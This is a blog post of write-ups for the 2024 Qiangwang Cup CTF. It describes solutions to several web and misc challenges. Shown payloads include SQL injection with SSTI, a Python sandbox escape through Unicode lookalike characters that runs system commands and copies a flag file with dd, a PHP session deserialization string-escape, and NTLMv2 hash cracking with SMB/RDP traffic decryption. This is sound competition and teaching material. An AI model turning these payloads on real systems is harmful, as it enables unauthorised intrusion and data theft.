2024强网杯

最终排名:131
Web
xiaohuanxiong(WP)
先去访问/install安装好

找到xiaohuanxiong源码 xiaohuanxiong ,审代码

看到这个可以新增管理员,访问/admin/Admins进入后台,url变为:http://ip/admin/admins 然后在管理员新增那里添加管理员,返回可以看到成功添加

然后路由扫描扫到了/admin/login

登录管理员


成功登录,然后在支付管理的支付设置中找到有php代码,直接写入

点击提交就有flag

Snake(WP)
做过类似的题,因为格子数量比较少,不用BFS,直接遍历每个格子即可
脚本:
import requests |
然后得到路由/snake_win?username=admin,payload:/snake_win?username=1’ union select 1,2,’49‘–+ 利用sql结合ssti发现回显49了

然后fenjing一把梭


Proxy(WP)
gpt一把梭

然后kali跑就行,把127.0.0.1改成分配的ip,flag base64解密即可

PyBlockly(复现)
题目描述:积木编程
代码整体大概逻辑:

这么多东西只用看app.py其他东西不用看
app.py运行思路就是用积木编程构造python代码,然后又waf 绕过就可以了 有语法树检测,有黑名单检测
审代码,这里会进行一个python的代码执行

构造格式:{'blocks': {'blocks': [{*'id': '1', 'type': 'print', 'inputs': {'TEXT': {'block': {'id': '2', 'type': 'text', 'fields': {'TEXT': 'Hello, World!'}}}}}]}}

有个unidecoe解码,找字符脚本:(这个脚本的目的是遍历所有可能的 Unicode 字符码点,找到并打印出那些经过 unidecode 转换后变为下划线 (_) 的字符,并列出它们的名称和对应的十六进制码点。)
from unidecode import unidecode |
payload:
{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"~PG?ga`45hw$)473HrT8","fields":{"TEXT":"';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls"));'"}}]}}
这里需要注意:因为长度检查:如果事件名称的长度超过 4,则抛出一个运行时错误。所以
用 len=lambda x: 0 替换 len 函数,这样无论传入什么参数,len 的返回值都会是 0,不会超过钩子函数中设置的长度限制(4)。
然后没权限读flag,需要用到dd提权
payload:{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"to3@=3O`Iw7FPn:VgL(D","x":117,"y":192,"inputs":{"TEXT":{"block":{"type":"text","id":";LI^vIskW`IlZLg(X/*4","fields":{"TEXT":"123');glóbáls()['__búíltíns__'].__díct__['lén'] = lámbdá x: 1;prínt(__ímpórt__('ós').systém('échó `dd íf=/flág óf=/tmp/flág`'));prínt('1"}}}}}]}}
在 Linux 中,/tmp 目录是一个用于存放临时文件的标准目录。

然后cat /tmp/flag
{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"to3@=3O`Iw7FPn:VgL(D","x":117,"y":192,"inputs":{"TEXT":{"block":{"type":"text","id":";LI^vIskW`IlZLg(X/*4","fields":{"TEXT":"123');glóbáls()['__búíltíns__'].__díct__['lén'] = lámbdá x: 1;prínt(__ímpórt__('ós').systém('échó `cat /tmp/flag`'));prínt('1"}}}}}]}}
参考链接:强网杯2024 Writeup - 星盟安全团队
platform(复现)
用小皮搭了来复现
首先代码审计,考了session反序列化,文章:带你走进PHP session反序列化漏洞 - 先知社区

有个黑名单,这里后面可以用来字符串逃逸

class.php有了eval(),可以用到rce来得到flag

利用username和password来构造payload

先随便传账号密码 admin123 admin123


在/tmp目录这里找到session文件是这样的:user|s:8:”admin123”;session_key|s:19:”qJqS5iXIz6mOZc1WnuX”;password|s:8:”admin123”;

再来看一下session_key的生成,session_key是随机生成长度的,所以需要我们给固定值,然后爆破直到正确

现在就是需要利用前面的黑名单来实现三字符串逃逸来覆盖session_key从而注入恶意代码来反序列化从而得到flag
gpt解释:攻击者可以在 username 字段中插入精心构造的恶意字符串,来覆盖 session_key 或修改其他重要的会话数据。因为 PHP 会自动反序列化这些数据,如果数据格式正确,PHP 会将它们还原成对象或数组。这是反序列化漏洞的关键:攻击者通过精心构造的字符串来操控 $_SESSION 中的内容。
所以我们给定username一个定值来爆破直到长度符合,在password那里反序列化来实现rce
exp:
params = { |
参考链接:强网杯2024 Writeup - 星盟安全团队
Password Game(复现)
function filter($password){ |
Filter绕过:

长度限制还需要删掉序列化中一些无用的变量
最终payload:

参考链接:2024 强网杯 部分题解 - S1uM4i
Misc
签到

问卷调查
ZmxhZ3t0SGFuS1NfZjBSX1lvVXJfRmVlREJBY2tfc2VFX3kwVV9OZXhUX3llQHIhfQ==
flag{tHanKS_f0R_YoUr_FeeDBAck_seE_y0U_NexT_ye@r!}
givemesecret(WP)

Master of OSINT (WP)
这个就嗯找,就不细说

谍影重重5.0(感觉应该是最细的一篇)(复现)
这题是关于SMB3协议解密和RDP解密
smb协议进行了大量的数据传输,并且这些数据都是加密数据

并且使用了ntlm v2加密协议进行身份认证

需要session key和sessionid解密(在编辑中的首选项的Protocols中找到SM2),而流量传输里面的session key并不是解密所用的session key

解密用的session key得到需要破解出ntlm hash的明文密码
了解一下先

破解密码:
NTLMv2的格式为:username::domain:challenge:HMAC-MD5:blob(challenge为NTLM Server Challenge,HMAC-MD5对应数据包中的NTProofStr,blob对应数据包中Response去掉NTProofStr的后半部分)

得到blob:
tshark -n -r 谍影重重5.0.pcapng -Y ‘ntlmssp.messagetype == 0x00000003’ -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.ntresponse

得到完整的net-ntlm hash:tom::.:221434d6e2497017:ca32f9b5b48c04ccfa96f35213d63d75:010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000
使用hashcat爆破,得到密码为babygirl233

脚本得到session key:
from Crypto.Cipher import ARC4 |
session id:

有了session key和session id之后就可以解密smb流量了
session id需要反转:


文件导出对象–>smb对象中,可以导出一些文件,其中flag.7z需要密码,另外还有两个证书文件,有用的只有fpx文件,在流量中包含了大量的RDP流量,也有密码,这里可以直接猜测密码是mimikatz


使用命令:
这条命令从 .pfx 文件中提取私钥并将其保存为 PEM 格式
openssl pkcs12 -in server_certificate.pfx -nocerts -out server_key.pem -nodes
这条命令从 server_key.pem 中提取私钥并保存为 server.key 文件,输出的是一个未加密的 RSA 私钥。
openssl rsa -in server_key.pem -out server.key


首选项–>protocols–>TLS–>RSA etitor导入密匙文件


使用命令:tshark -r 谍影重重5.0.pcapng -Y "rdp" -Y "rdp.fastpath.eventheader == 0x00" -T fields -e rdp.fastpath.scancode.keycode > output.txt 提取键盘输入

然后使用脚本映射出键盘的按键
import json |

最终flag.7z的密码就是babygirl233拼接9347013182:babygirl2339347013182,解压得到flag

参考文章:强网杯 谍影重重5.0 WP
强网杯2024 Writeup - 星盟安全团队
Windows下的密码hash——NTLM hash和Net-NTLM hash介绍 - 先知社区
SMB 解密 - TryHackMe :: MWLab — Ladislav 的恶意软件实验室 — SMB Decryption - TryHackMe :: MWLab — Ladislav’s Malware Lab
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0pium's Blog!




